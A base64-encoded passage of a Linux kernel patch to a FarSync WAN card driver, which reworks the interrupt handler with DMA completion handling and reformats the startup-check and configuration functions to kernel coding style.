ZXIgaW5kaWNlcyAqLwotICAgICAgICBpbnQgd3JpZHg7Ci0gICAgICAgIGludCBldmVudDsgICAg ICAgICAgICAgICAgICAgICAgLyogQWN0dWFsIGV2ZW50IGZvciBwcm9jZXNzaW5nICovCi0gICAg ICAgIGludCBwaTsKLQotICAgICAgICBpZiAoKCBjYXJkID0gZGV2X2lkICkgPT0gTlVMTCApCi0g ICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfSU5UUiwiaW50cjogc3B1cmlvdXMg JWRcbiIsIGlycSApOwotICAgICAgICAgICAgICAgIHJldHVybiBJUlFfTk9ORTsKLSAgICAgICAg fQotCi0gICAgICAgIGRiZyAoIERCR19JTlRSLCJpbnRyOiAlZCAlcFxuIiwgaXJxLCBjYXJkICk7 Ci0KLSAgICAgICAgc3Bpbl9sb2NrICggJmNhcmQtPmNhcmRfbG9jayApOwotCi0gICAgICAgIC8q IENsZWFyIGFuZCByZXByaW1lIHRoZSBpbnRlcnJ1cHQgc291cmNlICovCi0gICAgICAgIGZzdF9j bGVhcl9pbnRyICggY2FyZCApOwotCi0gICAgICAgIC8qIFNldCB0aGUgc29mdHdhcmUgYWNrbm93 bGVkZ2UgKi8KLSAgICAgICAgRlNUX1dSQiAoIGNhcmQsIGludGVycnVwdEhhbmRzaGFrZSwgMHhF RSApOwotCi0gICAgICAgIC8qIERyYWluIHRoZSBldmVudCBxdWV1ZSAqLwotICAgICAgICByZGlk eCA9IEZTVF9SREIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5yZGluZGV4ICk7Ci0gICAgICAgIHdy aWR4ID0gRlNUX1JEQiAoIGNhcmQsIGludGVycnVwdEV2ZW50LndyaW5kZXggKTsKLSAgICAgICAg d2hpbGUgKCByZGlkeCAhPSB3cmlkeCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBldmVu dCA9IEZTVF9SREIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5ldm50YnVmZltyZGlkeF0pOwotCi0g ICAgICAgICAgICAgICAgcG9ydCA9ICZjYXJkLT5wb3J0c1tldmVudCAmIDB4MDNdOwotCi0gICAg ICAgICAgICAgICAgZGJnICggREJHX0lOVFIsImludHI6ICV4XG4iLCBldmVudCApOwotCi0gICAg ICAgICAgICAgICAgc3dpdGNoICggZXZlbnQgKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAg ICAgICAgICBjYXNlIENUTEFfQ0hHOgotICAgICAgICAgICAgICAgIGNhc2UgQ1RMQl9DSEc6Ci0g ICAgICAgICAgICAgICAgY2FzZSBDVExDX0NIRzoKLSAgICAgICAgICAgICAgICBjYXNlIENUTERf Q0hHOgotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBwb3J0LT5ydW4gKQotICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICBmc3RfaW50cl9jdGxjaGcgKCBjYXJkLCBwb3J0ICk7Ci0g ICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKLQotICAgICAgICAgICAgICAgIGNhc2UgQUJU QV9TRU5UOgotICAgICAgICAgICAgICAgIGNhc2UgQUJUQl9TRU5UOgotICAgICAgICAgICAgICAg IGNhc2UgQUJUQ19TRU5UOgotICAgICAgICAgICAgICAgIGNhc2UgQUJURF9TRU5UOgotICAgICAg ICAgICAgICAgICAgICAgICAgZGJnICggREJHX1RYLCJBYm9ydCBjb21wbGV0ZSBwb3J0ICVkXG4i LCBldmVudCAmIDB4MDMgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOworCXN0cnVj dCBmc3RfY2FyZF9pbmZvICpjYXJkOworCXN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0OworCWlu dCByZGlkeDsJCS8qIEV2ZW50IGJ1ZmZlciBpbmRpY2VzICovCisJaW50IHdyaWR4OworCWludCBl dmVudDsJCS8qIEFjdHVhbCBldmVudCBmb3IgcHJvY2Vzc2luZyAqLworCXVuc2lnbmVkIGludCBk bWFfaW50Y3NyID0gMDsKKwl1bnNpZ25lZCBpbnQgZG9fY2FyZF9pbnRlcnJ1cHQ7CisJdW5zaWdu ZWQgaW50IGludF9yZXRyeV9jb3VudDsKKworCWlmICgoY2FyZCA9IGRldl9pZCkgPT0gTlVMTCkg eworCQlkYmcoREJHX0lOVFIsICJpbnRyOiBzcHVyaW91cyAlZFxuIiwgaXJxKTsKKwkJcmV0dXJu IElSUV9OT05FOworCX0KIAotICAgICAgICAgICAgICAgIGNhc2UgVFhBX1VOREY6Ci0gICAgICAg ICAgICAgICAgY2FzZSBUWEJfVU5ERjoKLSAgICAgICAgICAgICAgICBjYXNlIFRYQ19VTkRGOgot ICAgICAgICAgICAgICAgIGNhc2UgVFhEX1VOREY6Ci0gICAgICAgICAgICAgICAgICAgICAgICAv KiBEaWZmaWN1bHQgdG8gc2VlIGhvdyB3ZSdkIGdldCB0aGlzIGdpdmVuIHRoYXQgd2UKLSAgICAg ICAgICAgICAgICAgICAgICAgICAqIGFsd2F5cyBsb2FkIHVwIHRoZSBlbnRpcmUgcGFja2V0IGZv ciBETUEuCi0gICAgICAgICAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICAgICAg ICAgIGRiZyAoIERCR19UWCwiVHggdW5kZXJmbG93IHBvcnQgJWRcbiIsIGV2ZW50ICYgMHgwMyAp OwotICAgICAgICAgICAgICAgICAgICAgICAgaGRsY19zdGF0cyhwb3J0X3RvX2Rldihwb3J0KSkt PnR4X2Vycm9ycysrOwotICAgICAgICAgICAgICAgICAgICAgICAgaGRsY19zdGF0cyhwb3J0X3Rv X2Rldihwb3J0KSktPnR4X2ZpZm9fZXJyb3JzKys7Ci0gICAgICAgICAgICAgICAgICAgICAgICBi cmVhazsKKwkvKgorCSAqIENoZWNrIHRvIHNlZSBpZiB0aGUgaW50ZXJydXB0IHdhcyBmb3IgdGhp cyBjYXJkCisJICogcmV0dXJuIGlmIG5vdAorCSAqIE5vdGUgdGhhdCB0aGUgY2FsbCB0byBjbGVh ciB0aGUgaW50ZXJydXB0IGlzIGltcG9ydGFudAorCSAqLworCWRiZyhEQkdfSU5UUiwgImludHI6 ICVkICVwXG4iLCBpcnEsIGNhcmQpOworCWlmIChjYXJkLT5zdGF0ZSAhPSBGU1RfUlVOTklORykg eworCQlwcmludGtfZXJyCisJCSAgICAoIkludGVycnVwdCByZWNlaXZlZCBmb3IgY2FyZCAlZCBp biBhIG5vbiBydW5uaW5nIHN0YXRlICglZClcbiIsCisJCSAgICAgY2FyZC0+Y2FyZF9ubywgY2Fy ZC0+c3RhdGUpOworCisJCS8qIAorCQkgKiBJdCBpcyBwb3NzaWJsZSB0byByZWFsbHkgYmUgcnVu bmluZywgaS5lLiB3ZSBoYXZlIHJlLWxvYWRlZAorCQkgKiBhIHJ1bm5pbmcgY2FyZAorCQkgKiBD bGVhciBhbmQgcmVwcmltZSB0aGUgaW50ZXJydXB0IHNvdXJjZSAKKwkJICovCisJCWZzdF9jbGVh cl9pbnRyKGNhcmQpOworCQlyZXR1cm4gSVJRX0hBTkRMRUQ7CisJfQogCi0gICAgICAgICAgICAg ICAgY2FzZSBJTklUX0NQTFQ6Ci0gICAgICAgICAgICAgICAgICAgICAgICBkYmcgKCBEQkdfSU5J VCwiQ2FyZCBpbml0IE9LIGludHJcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7 CisJLyogQ2xlYXIgYW5kIHJlcHJpbWUgdGhlIGludGVycnVwdCBzb3VyY2UgKi8KKwlmc3RfY2xl YXJfaW50cihjYXJkKTsKIAotICAgICAgICAgICAgICAgIGNhc2UgSU5JVF9GQUlMOgotICAgICAg ICAgICAgICAgICAgICAgICAgZGJnICggREJHX0lOSVQsIkNhcmQgaW5pdCBGQUlMRUQgaW50clxu Iik7Ci0gICAgICAgICAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9JRkFJTEVEOwot ICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CisJLyoKKwkgKiBJcyB0aGUgaW50ZXJydXB0 IGZvciB0aGlzIGNhcmQgKGhhbmRzaGFrZSA9PSAxKQorCSAqLworCWRvX2NhcmRfaW50ZXJydXB0 ID0gMDsKKwlpZiAoRlNUX1JEQihjYXJkLCBpbnRlcnJ1cHRIYW5kc2hha2UpID09IDEpIHsKKwkJ ZG9fY2FyZF9pbnRlcnJ1cHQgKz0gRlNUX0NBUkRfSU5UOworCQkvKiBTZXQgdGhlIHNvZnR3YXJl IGFja25vd2xlZGdlICovCisJCUZTVF9XUkIoY2FyZCwgaW50ZXJydXB0SGFuZHNoYWtlLCAweEVF KTsKKwl9CisJaWYgKGNhcmQtPmZhbWlseSA9PSBGU1RfRkFNSUxZX1RYVSkgeworCQkvKgorCQkg KiBJcyBpdCBhIERNQSBJbnRlcnJ1cHQKKwkJICovCisJCWRtYV9pbnRjc3IgPSBpbmwoY2FyZC0+ cGNpX2NvbmYgKyBJTlRDU1JfOTA1NCk7CisJCWlmIChkbWFfaW50Y3NyICYgMHgwMDIwMDAwMCkg eworCQkJLyoKKwkJCSAqIERNQSBDaGFubmVsIDAgKFJ4IHRyYW5zZmVyIGNvbXBsZXRlKQorCQkJ ICovCisJCQlkYmcoREJHX1JYLCAiRE1BIFJ4IHhmZXIgY29tcGxldGVcbiIpOworCQkJb3V0Yigw eDgsIGNhcmQtPnBjaV9jb25mICsgRE1BQ1NSMCk7CisJCQlmc3RfcnhfZG1hX2NvbXBsZXRlKGNh cmQsIGNhcmQtPmRtYV9wb3J0X3J4LAorCQkJCQkgICAgY2FyZC0+ZG1hX2xlbl9yeCwgY2FyZC0+ ZG1hX3NrYl9yeCwKKwkJCQkJICAgIGNhcmQtPmRtYV9yeHBvcyk7CisJCQljYXJkLT5kbWFyeF9p bl9wcm9ncmVzcyA9IDA7CisJCQlkb19jYXJkX2ludGVycnVwdCArPSBGU1RfUlhfRE1BX0lOVDsK KwkJfQorCQlpZiAoZG1hX2ludGNzciAmIDB4MDA0MDAwMDApIHsKKwkJCS8qCisJCQkgKiBETUEg Q2hhbm5lbCAxIChUeCB0cmFuc2ZlciBjb21wbGV0ZSkKKwkJCSAqLworCQkJZGJnKERCR19UWCwg IkRNQSBUeCB4ZmVyIGNvbXBsZXRlXG4iKTsKKwkJCW91dGIoMHg4LCBjYXJkLT5wY2lfY29uZiAr IERNQUNTUjEpOworCQkJZnN0X3R4X2RtYV9jb21wbGV0ZShjYXJkLCBjYXJkLT5kbWFfcG9ydF90 eCwKKwkJCQkJICAgIGNhcmQtPmRtYV9sZW5fdHgsIGNhcmQtPmRtYV90eHBvcyk7CisJCQljYXJk LT5kbWF0eF9pbl9wcm9ncmVzcyA9IDA7CisJCQlkb19jYXJkX2ludGVycnVwdCArPSBGU1RfVFhf RE1BX0lOVDsKKwkJfQorCX0KIAotICAgICAgICAgICAgICAgIGRlZmF1bHQ6Ci0gICAgICAgICAg ICAgICAgICAgICAgICBwcmludGtfZXJyICgiaW50cjogdW5rbm93biBjYXJkIGV2ZW50IGNvZGUu IGlnbm9yZWRcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgICAg ICAgICAgfQorCS8qCisJICogSGF2ZSB3ZSBiZWVuIG1pc3NpbmcgSW50ZXJydXB0cworCSAqLwor CWludF9yZXRyeV9jb3VudCA9IEZTVF9SREwoY2FyZCwgaW50ZXJydXB0UmV0cnlDb3VudCk7CisJ aWYgKGludF9yZXRyeV9jb3VudCkgeworCQlkYmcoREJHX0FTUywgIkNhcmQgJWQgaW50X3JldHJ5 X2NvdW50IGlzICAlZFxuIiwKKwkJICAgIGNhcmQtPmNhcmRfbm8sIGludF9yZXRyeV9jb3VudCk7 CisJCUZTVF9XUkwoY2FyZCwgaW50ZXJydXB0UmV0cnlDb3VudCwgMCk7CisJfQogCi0gICAgICAg ICAgICAgICAgLyogQnVtcCBhbmQgd3JhcCB0aGUgaW5kZXggKi8KLSAgICAgICAgICAgICAgICBp ZiAoICsrcmRpZHggPj0gTUFYX0NJUkJVRkYgKQotICAgICAgICAgICAgICAgICAgICAgICAgcmRp ZHggPSAwOwotICAgICAgICB9Ci0gICAgICAgIEZTVF9XUkIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVu dC5yZGluZGV4LCByZGlkeCApOwotCi0gICAgICAgIGZvciAoIHBpID0gMCwgcG9ydCA9IGNhcmQt PnBvcnRzIDsgcGkgPCBjYXJkLT5ucG9ydHMgOyBwaSsrLCBwb3J0KysgKQotICAgICAgICB7Ci0g ICAgICAgICAgICAgICAgaWYgKCAhIHBvcnQtPnJ1biApCi0gICAgICAgICAgICAgICAgICAgICAg ICBjb250aW51ZTsKLQotICAgICAgICAgICAgICAgIC8qIENoZWNrIGZvciByeCBjb21wbGV0aW9u cyAqLwotICAgICAgICAgICAgICAgIHdoaWxlICggISAoIEZTVF9SREIgKCBjYXJkLCByeERlc2Ny UmluZ1twaV1bcG9ydC0+cnhwb3NdLmJpdHMgKQotICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICYgRE1BX09XTiApKQotICAgICAg ICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9pbnRyX3J4ICggY2FyZCwg cG9ydCApOwotICAgICAgICAgICAgICAgIH0KKwlpZiAoIWRvX2NhcmRfaW50ZXJydXB0KSB7CisJ CXJldHVybiBJUlFfSEFORExFRDsKKwl9CiAKLSAgICAgICAgICAgICAgICAvKiBDaGVjayBmb3Ig VHggY29tcGxldGlvbnMgKi8KLSAgICAgICAgICAgICAgICB3aGlsZSAoIHBvcnQtPnR4Y250ID4g MCAmJiAhICggRlNUX1JEQiAoIGNhcmQsCi0gICAgICAgICAgICAgICAgICAgICAgICB0eERlc2Ny UmluZ1twaV1bcG9ydC0+dHhpcG9zXS5iaXRzICkgJiBETUFfT1dOICkpCi0gICAgICAgICAgICAg ICAgewotICAgICAgICAgICAgICAgICAgICAgICAgLS1wb3J0LT50eGNudDsKLSAgICAgICAgICAg ICAgICAgICAgICAgIGlmICggKytwb3J0LT50eGlwb3MgPj0gTlVNX1RYX0JVRkZFUiApCi0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPnR4aXBvcyA9IDA7Ci0gICAgICAgICAg ICAgICAgICAgICAgICBuZXRpZl93YWtlX3F1ZXVlICggcG9ydF90b19kZXYgKCBwb3J0ICkpOwot ICAgICAgICAgICAgICAgIH0KLSAgICAgICAgfQorCS8qIFNjZWhkdWxlIHRoZSBib3R0b20gaGFs ZiBvZiB0aGUgSVNSICovCisJZnN0X3Ffd29ya19pdGVtKCZmc3Rfd29ya19pbnRxLCBjYXJkLT5j YXJkX25vKTsKKwl0YXNrbGV0X3NjaGVkdWxlKCZmc3RfaW50X3Rhc2spOworCisJLyogRHJhaW4g dGhlIGV2ZW50IHF1ZXVlICovCisJcmRpZHggPSBGU1RfUkRCKGNhcmQsIGludGVycnVwdEV2ZW50 LnJkaW5kZXgpICYgMHgxZjsKKwl3cmlkeCA9IEZTVF9SREIoY2FyZCwgaW50ZXJydXB0RXZlbnQu d3JpbmRleCkgJiAweDFmOworCXdoaWxlIChyZGlkeCAhPSB3cmlkeCkgeworCQlldmVudCA9IEZT VF9SREIoY2FyZCwgaW50ZXJydXB0RXZlbnQuZXZudGJ1ZmZbcmRpZHhdKTsKKwkJcG9ydCA9ICZj YXJkLT5wb3J0c1tldmVudCAmIDB4MDNdOworCisJCWRiZyhEQkdfSU5UUiwgIlByb2Nlc3Npbmcg SW50ZXJydXB0IGV2ZW50OiAleFxuIiwgZXZlbnQpOworCisJCXN3aXRjaCAoZXZlbnQpIHsKKwkJ Y2FzZSBURTFfQUxNQToKKwkJCWRiZyhEQkdfSU5UUiwgIlRFMSBBbGFybSBpbnRyXG4iKTsKKwkJ CWlmIChwb3J0LT5ydW4pCisJCQkJZnN0X2ludHJfdGUxX2FsYXJtKGNhcmQsIHBvcnQpOworCQkJ YnJlYWs7CisKKwkJY2FzZSBDVExBX0NIRzoKKwkJY2FzZSBDVExCX0NIRzoKKwkJY2FzZSBDVExD X0NIRzoKKwkJY2FzZSBDVExEX0NIRzoKKwkJCWlmIChwb3J0LT5ydW4pCisJCQkJZnN0X2ludHJf Y3RsY2hnKGNhcmQsIHBvcnQpOworCQkJYnJlYWs7CisKKwkJY2FzZSBBQlRBX1NFTlQ6CisJCWNh c2UgQUJUQl9TRU5UOgorCQljYXNlIEFCVENfU0VOVDoKKwkJY2FzZSBBQlREX1NFTlQ6CisJCQlk YmcoREJHX1RYLCAiQWJvcnQgY29tcGxldGUgcG9ydCAlZFxuIiwgcG9ydC0+aW5kZXgpOworCQkJ YnJlYWs7CisKKwkJY2FzZSBUWEFfVU5ERjoKKwkJY2FzZSBUWEJfVU5ERjoKKwkJY2FzZSBUWENf VU5ERjoKKwkJY2FzZSBUWERfVU5ERjoKKwkJCS8qIERpZmZpY3VsdCB0byBzZWUgaG93IHdlJ2Qg Z2V0IHRoaXMgZ2l2ZW4gdGhhdCB3ZQorCQkJICogYWx3YXlzIGxvYWQgdXAgdGhlIGVudGlyZSBw YWNrZXQgZm9yIERNQS4KKwkJCSAqLworCQkJZGJnKERCR19UWCwgIlR4IHVuZGVyZmxvdyBwb3J0 ICVkXG4iLCBwb3J0LT5pbmRleCk7CisgICAgICAgICAgICAgICAgICAgICAgICBoZGxjX3N0YXRz KHBvcnRfdG9fZGV2KHBvcnQpKS0+dHhfZXJyb3JzKys7CisgICAgICAgICAgICAgICAgICAgICAg ICBoZGxjX3N0YXRzKHBvcnRfdG9fZGV2KHBvcnQpKS0+dHhfZmlmb19lcnJvcnM7CisJCQlkYmco REJHX0FTUywgIlR4IHVuZGVyZmxvdyBvbiBjYXJkICVkIHBvcnQgJWRcbiIsCisJCQkgICAgY2Fy ZC0+Y2FyZF9ubywgcG9ydC0+aW5kZXgpOworCQkJYnJlYWs7CisKKwkJY2FzZSBJTklUX0NQTFQ6 CisJCQlkYmcoREJHX0lOSVQsICJDYXJkIGluaXQgT0sgaW50clxuIik7CisJCQlicmVhazsKKwor CQljYXNlIElOSVRfRkFJTDoKKwkJCWRiZyhEQkdfSU5JVCwgIkNhcmQgaW5pdCBGQUlMRUQgaW50 clxuIik7CisJCQljYXJkLT5zdGF0ZSA9IEZTVF9JRkFJTEVEOworCQkJYnJlYWs7CisKKwkJZGVm YXVsdDoKKwkJCXByaW50a19lcnIoImludHI6IHVua25vd24gY2FyZCBldmVudCAlZC4gaWdub3Jl ZFxuIiwKKwkJCQkgICBldmVudCk7CisJCQlicmVhazsKKwkJfQogCi0gICAgICAgIHNwaW5fdW5s b2NrICggJmNhcmQtPmNhcmRfbG9jayApOwotCXJldHVybiBJUlFfSEFORExFRDsKKwkJLyogQnVt cCBhbmQgd3JhcCB0aGUgaW5kZXggKi8KKwkJaWYgKCsrcmRpZHggPj0gTUFYX0NJUkJVRkYpCisJ CQlyZGlkeCA9IDA7CisJfQorCUZTVF9XUkIoY2FyZCwgaW50ZXJydXB0RXZlbnQucmRpbmRleCwg cmRpZHgpOworICAgICAgICByZXR1cm4gSVJRX0hBTkRMRUQ7CiB9CiAKLQogLyogICAgICBDaGVj ayB0aGF0IHRoZSBzaGFyZWQgbWVtb3J5IGNvbmZpZ3VyYXRpb24gaXMgb25lIHRoYXQgd2UgY2Fu IGhhbmRsZQogICogICAgICBhbmQgdGhhdCBzb21lIGJhc2ljIHBhcmFtZXRlcnMgYXJlIGNvcnJl Y3QKICAqLwogc3RhdGljIHZvaWQKLWNoZWNrX3N0YXJ0ZWRfb2sgKCBzdHJ1Y3QgZnN0X2NhcmRf aW5mbyAqY2FyZCApCitjaGVja19zdGFydGVkX29rKHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJk KQogewotICAgICAgICBpbnQgaTsKKwlpbnQgaTsKIAotICAgICAgICAvKiBDaGVjayBzdHJ1Y3R1 cmUgdmVyc2lvbiBhbmQgZW5kIG1hcmtlciAqLwotICAgICAgICBpZiAoIEZTVF9SRFcgKCBjYXJk LCBzbWNWZXJzaW9uICkgIT0gU01DX1ZFUlNJT04gKQotICAgICAgICB7Ci0gICAgICAgICAgICAg ICAgcHJpbnRrX2VyciAoIkJhZCBzaGFyZWQgbWVtb3J5IHZlcnNpb24gJWQgZXhwZWN0ZWQgJWRc biIsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZTVF9SRFcgKCBjYXJkLCBzbWNW ZXJzaW9uICksIFNNQ19WRVJTSU9OICk7Ci0gICAgICAgICAgICAgICAgY2FyZC0+c3RhdGUgPSBG U1RfQkFEVkVSU0lPTjsKLSAgICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLSAgICAg ICAgaWYgKCBGU1RfUkRMICggY2FyZCwgZW5kT2ZTbWNTaWduYXR1cmUgKSAhPSBFTkRfU0lHICkK LSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJNaXNzaW5nIHNoYXJlZCBt ZW1vcnkgc2lnbmF0dXJlXG4iKTsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9C QURWRVJTSU9OOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotICAgICAgICAv KiBGaXJtd2FyZSBzdGF0dXMgZmxhZywgMHgwMCA9IGluaXRpYWxpc2luZywgMHgwMSA9IE9LLCAw eEZGID0gZmFpbCAqLwotICAgICAgICBpZiAoKCBpID0gRlNUX1JEQiAoIGNhcmQsIHRhc2tTdGF0 dXMgKSkgPT0gMHgwMSApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9 IEZTVF9SVU5OSU5HOwotICAgICAgICB9Ci0gICAgICAgIGVsc2UgaWYgKCBpID09IDB4RkYgKQot ICAgICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIkZpcm13YXJlIGluaXRpYWxp c2F0aW9uIGZhaWxlZC4gQ2FyZCBoYWx0ZWRcbiIpOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0 YXRlID0gRlNUX0hBTFRFRDsKLSAgICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLSAg ICAgICAgZWxzZSBpZiAoIGkgIT0gMHgwMCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBw cmludGtfZXJyICgiVW5rbm93biBmaXJtd2FyZSBzdGF0dXMgMHgleFxuIiwgaSApOwotICAgICAg ICAgICAgICAgIGNhcmQtPnN0YXRlID0gRlNUX0hBTFRFRDsKLSAgICAgICAgICAgICAgICByZXR1 cm47Ci0gICAgICAgIH0KLQotICAgICAgICAvKiBGaW5hbGx5IGNoZWNrIHRoZSBudW1iZXIgb2Yg cG9ydHMgcmVwb3J0ZWQgYnkgZmlybXdhcmUgYWdhaW5zdCB0aGUKLSAgICAgICAgICogbnVtYmVy IHdlIGFzc3VtZWQgYXQgY2FyZCBkZXRlY3Rpb24uIFNob3VsZCBuZXZlciBoYXBwZW4gd2l0aAot ICAgICAgICAgKiBleGlzdGluZyBmaXJtd2FyZSBldGMgc28gd2UganVzdCByZXBvcnQgaXQgZm9y IHRoZSBtb21lbnQuCi0gICAgICAgICAqLwotICAgICAgICBpZiAoIEZTVF9SREwgKCBjYXJkLCBu dW1iZXJPZlBvcnRzICkgIT0gY2FyZC0+bnBvcnRzICkKLSAgICAgICAgewotICAgICAgICAgICAg ICAgIHByaW50a193YXJuICgiUG9ydCBjb3VudCBtaXNtYXRjaC4iCi0gICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICIgRmlybXdhcmUgdGhpbmtzICVkIHdlIHNheSAlZFxuIiwKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgRlNUX1JETCAoIGNhcmQsIG51bWJlck9mUG9ydHMg KSwgY2FyZC0+bnBvcnRzICk7Ci0gICAgICAgIH0KLX0KKwkvKiBDaGVjayBzdHJ1Y3R1cmUgdmVy c2lvbiBhbmQgZW5kIG1hcmtlciAqLworCWlmIChGU1RfUkRXKGNhcmQsIHNtY1ZlcnNpb24pICE9 IFNNQ19WRVJTSU9OKSB7CisJCXByaW50a19lcnIoIkJhZCBzaGFyZWQgbWVtb3J5IHZlcnNpb24g JWQgZXhwZWN0ZWQgJWRcbiIsCisJCQkgICBGU1RfUkRXKGNhcmQsIHNtY1ZlcnNpb24pLCBTTUNf VkVSU0lPTik7CisJCWNhcmQtPnN0YXRlID0gRlNUX0JBRFZFUlNJT047CisJCXJldHVybjsKKwl9 CisJaWYgKEZTVF9SREwoY2FyZCwgZW5kT2ZTbWNTaWduYXR1cmUpICE9IEVORF9TSUcpIHsKKwkJ cHJpbnRrX2VycigiTWlzc2luZyBzaGFyZWQgbWVtb3J5IHNpZ25hdHVyZVxuIik7CisJCWNhcmQt PnN0YXRlID0gRlNUX0JBRFZFUlNJT047CisJCXJldHVybjsKKwl9CisJLyogRmlybXdhcmUgc3Rh dHVzIGZsYWcsIDB4MDAgPSBpbml0aWFsaXNpbmcsIDB4MDEgPSBPSywgMHhGRiA9IGZhaWwgKi8K KwlpZiAoKGkgPSBGU1RfUkRCKGNhcmQsIHRhc2tTdGF0dXMpKSA9PSAweDAxKSB7CisJCWNhcmQt PnN0YXRlID0gRlNUX1JVTk5JTkc7CisJfSBlbHNlIGlmIChpID09IDB4RkYpIHsKKwkJcHJpbnRr X2VycigiRmlybXdhcmUgaW5pdGlhbGlzYXRpb24gZmFpbGVkLiBDYXJkIGhhbHRlZFxuIik7CisJ CWNhcmQtPnN0YXRlID0gRlNUX0hBTFRFRDsKKwkJcmV0dXJuOworCX0gZWxzZSBpZiAoaSAhPSAw eDAwKSB7CisJCXByaW50a19lcnIoIlVua25vd24gZmlybXdhcmUgc3RhdHVzIDB4JXhcbiIsIGkp OworCQljYXJkLT5zdGF0ZSA9IEZTVF9IQUxURUQ7CisJCXJldHVybjsKKwl9CiAKKwkvKiBGaW5h bGx5IGNoZWNrIHRoZSBudW1iZXIgb2YgcG9ydHMgcmVwb3J0ZWQgYnkgZmlybXdhcmUgYWdhaW5z dCB0aGUKKwkgKiBudW1iZXIgd2UgYXNzdW1lZCBhdCBjYXJkIGRldGVjdGlvbi4gU2hvdWxkIG5l dmVyIGhhcHBlbiB3aXRoCisJICogZXhpc3RpbmcgZmlybXdhcmUgZXRjIHNvIHdlIGp1c3QgcmVw b3J0IGl0IGZvciB0aGUgbW9tZW50LgorCSAqLworCWlmIChGU1RfUkRMKGNhcmQsIG51bWJlck9m UG9ydHMpICE9IGNhcmQtPm5wb3J0cykgeworCQlwcmludGtfd2FybigiUG9ydCBjb3VudCBtaXNt YXRjaCBvbiBjYXJkICVkLiIKKwkJCSAgICAiIEZpcm13YXJlIHRoaW5rcyAlZCB3ZSBzYXkgJWRc biIsIGNhcmQtPmNhcmRfbm8sCisJCQkgICAgRlNUX1JETChjYXJkLCBudW1iZXJPZlBvcnRzKSwg Y2FyZC0+bnBvcnRzKTsKKwl9Cit9CiAKIHN0YXRpYyBpbnQKLXNldF9jb25mX2Zyb21faW5mbyAo IHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCwK LSAgICAgICAgICAgICAgICBzdHJ1Y3QgZnN0aW9jX2luZm8gKmluZm8gKQorc2V0X2NvbmZfZnJv bV9pbmZvKHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAq cG9ydCwKKwkJICAgc3RydWN0IGZzdGlvY19pbmZvICppbmZvKQogewotICAgICAgICBpbnQgZXJy OworCWludCBlcnI7CisJdW5zaWduZWQgY2hhciBteV9mcmFtaW5nOwogCi0gICAgICAgIC8qIFNl dCB0aGluZ3MgYWNjb3JkaW5nIHRvIHRoZSB1c2VyIHNldCB2YWxpZCBmbGFncy4KLSAgICAgICAg ICogU2V2ZXJhbCBvZiB0aGUgb2xkIG9wdGlvbnMgaGF2ZSBiZWVuIGludmFsaWRhdGVkL3JlcGxh Y2VkIGJ5IHRoZQotICAgICAgICAgKiBnZW5lcmljIEhETEMgcGFja2FnZS4KLSAgICAgICAgICov Ci0gICAgICAgIGVyciA9IDA7Ci0gICAgICAgIGlmICggaW5mby0+dmFsaWQgJiBGU1RWQUxfUFJP VE8gKQotICAgICAgICAgICAgICAgIGVyciA9IC1FSU5WQUw7Ci0gICAgICAgIGlmICggaW5mby0+ dmFsaWQgJiBGU1RWQUxfQ0FCTEUgKQotICAgICAgICAgICAgICAgIGVyciA9IC1FSU5WQUw7Ci0g ICAgICAgIGlmICggaW5mby0+dmFsaWQgJiBGU1RWQUxfU1BFRUQgKQotICAgICAgICAgICAgICAg IGVyciA9IC1FSU5WQUw7CisJLyogU2V0IHRoaW5ncyBhY2NvcmRpbmcgdG8gdGhlIHVzZXIgc2V0 IHZhbGlkIGZsYWdzIAorCSAqIFNldmVyYWwgb2YgdGhlIG9sZCBvcHRpb25zIGhhdmUgYmVlbiBp bnZhbGlkYXRlZC9yZXBsYWNlZCBieSB0aGUgCisJICogZ2VuZXJpYyBoZGxjIHBhY2thZ2UuCisJ ICovCisJZXJyID0gMDsKKwlpZiAoaW5mby0+dmFsaWQgJiBGU1RWQUxfUFJPVE8pIHsKKwkJaWYg KGluZm8tPnByb3RvID09IEZTVF9SQVcpCisJCQlwb3J0LT5tb2RlID0gRlNUX1JBVzsKKwkJZWxz 